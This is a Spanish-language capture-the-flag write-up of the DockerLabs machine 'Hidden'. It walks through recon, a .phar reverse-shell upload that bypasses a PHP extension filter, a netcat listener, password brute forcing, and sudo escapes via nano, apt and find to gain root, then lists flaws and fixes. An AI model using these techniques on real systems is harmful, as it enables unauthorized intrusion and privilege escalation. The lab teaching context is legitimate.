Hidden
Introducción
Sección titulada «Introducción»Este documento detalla la resolución completa de la máquina Hidden, desarrollada por El Pingüino de Mario para DockerLabs y clasificada con un nivel de dificultad Medio.
El propósito de este write-up es presentar de forma clara, técnica y ordenada cada fase del compromiso del sistema:
- Reconocimiento: Identificación de puertos, servicios, dominios y contenido expuesto.
- Explotación: Obtención de acceso inicial mediante bypass de restricciones de subida y ejecución remota.
- Escalada de privilegios: Abuso de credenciales, reutilización de contraseñas y permisos
sudoasignados incorrectamente.
Todo el procedimiento se realizó en un entorno aislado proporcionado por DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | Hidden |
| Autor | El Pingüino de Mario |
| Dificultad | Medio |
| Fecha | 10/05/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Desplegamos la máquina con los siguientes comandos:
unzip Hidden.zipsudo bash auto_deploy.sh Hidden.tar
Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno
Sección titulada «1.1 Organización del entorno»mkdir -p Hidden/{content,exploits,nmap,gobuster,scripts}cd Hidden1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»Se realiza un escaneo completo de puertos TCP:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos abiertos:
- 80/tcp — HTTP

1.3 Enumeración HTTP
Sección titulada «1.3 Enumeración HTTP»El index redirige al dominio hidden.lab, por lo que lo agregamos al archivo /etc/hosts.
Realizamos un escaneo inicial con Feroxbuster:
feroxbuster -u http://hidden.lab -d 0 \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,txt,html,js,bak,old \ -t 40 \ -C 404,403
Ruta principal identificada:
index.html, correspondiente a una tienda de café.

El escaneo genera numerosos resultados, pero la mayoría corresponden a imágenes y archivos de funcionamiento sin información sensible útil.
1.3.1 Escaneo de subdominios
Sección titulada «1.3.1 Escaneo de subdominios»Probamos posibles subdominios con ffuf utilizando fuzzing sobre la cabecera Host:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \ -u "http://hidden.lab" \ -H "Host: FUZZ.hidden.lab" -fl 10
Se descubre el subdominio dev.hidden.lab, que también añadimos al archivo /etc/hosts.

Este subdominio contiene un formulario de subida de archivos con restricciones que bloquean extensiones .php.
Mediante un escaneo adicional se identifica el directorio accesible /uploads, lo que sugiere la posibilidad de subir una reverse shell utilizando otro formato ejecutable como .phar.
Paso 2 — Explotación (Acceso inicial)
Sección titulada «Paso 2 — Explotación (Acceso inicial)»Creamos una reverse shell en formato .phar y la subimos mediante el formulario. La subida es exitosa y el archivo aparece en el directorio /uploads.

Activamos un listener en la máquina atacante:
nc -nlvp 443Luego accedemos al archivo subido desde el navegador, lo que activa la reverse shell:

Con esto obtenemos acceso como www-data.
Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De www-data → cafetero
Sección titulada «3.1 De www-data → cafetero»Tras revisar métodos locales de escalada, optamos por probar fuerza bruta de contraseñas con el script UserRush.
Detectamos usuarios locales:

La máquina no dispone de wget ni curl, por lo que creamos los archivos manualmente con nano.
Debido al tamaño del diccionario rockyou.txt, copiamos únicamente las primeras 1000 líneas:
cat rockyou.txt | head -n 1000 | xclip -sel clipCon los archivos UserRush.sh y rockyou.txt listos:
./UserRush.sh -u cafeteroEl ataque tiene éxito:

Ingresamos como el usuario cafetero:
su cafetero
3.2 De cafetero → john
Sección titulada «3.2 De cafetero → john»Verificamos permisos sudo:

Podemos ejecutar nano como el usuario john, lo que permite obtener una shell mediante su función de lectura:
sudo nano^R^Xreset; bash 1>&0 2>&0
3.3 De john → bobby
Sección titulada «3.3 De john → bobby»Revisamos permisos:

Podemos ejecutar apt como bobby:
sudo apt changelog apt!/bin/bash
3.4 De bobby → root
Sección titulada «3.4 De bobby → root»Verificamos permisos:

Permite ejecutar find como root:
sudo find . -exec /bin/bash \; -quitObtención de acceso root:

Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- Subida de archivos sin validación adecuada del tipo MIME.
- Directorio
/uploadscon permisos de lectura pública. - Subdominio de desarrollo accesible desde producción.
- Redirección automática a un dominio interno sin protección.
- Permisos
sudoasignados incorrectamente a múltiples usuarios. - Reutilización de contraseñas entre cuentas del sistema.
- Ausencia de herramientas básicas de monitoreo o restricción (no hay audit logs, fail2ban, etc.).
Recomendaciones
Sección titulada «Recomendaciones»- Implementar validación estricta de archivos (MIME, extensión, contenido).
- Deshabilitar el listado público de directorios.
- Proteger subdominios de desarrollo con autenticación o retirarlos del entorno productivo.
- Revisar permisos
sudoy aplicar el principio de mínimo privilegio. - Aplicar políticas de contraseñas seguras y evitar la reutilización.
- Implementar mecanismos de monitoreo de intentos de fuerza bruta.
- Segmentar los servicios internos para evitar acceso público no intencionado.
- Utilizar WAF o reglas de seguridad que mitiguen subida y ejecución arbitraria de archivos.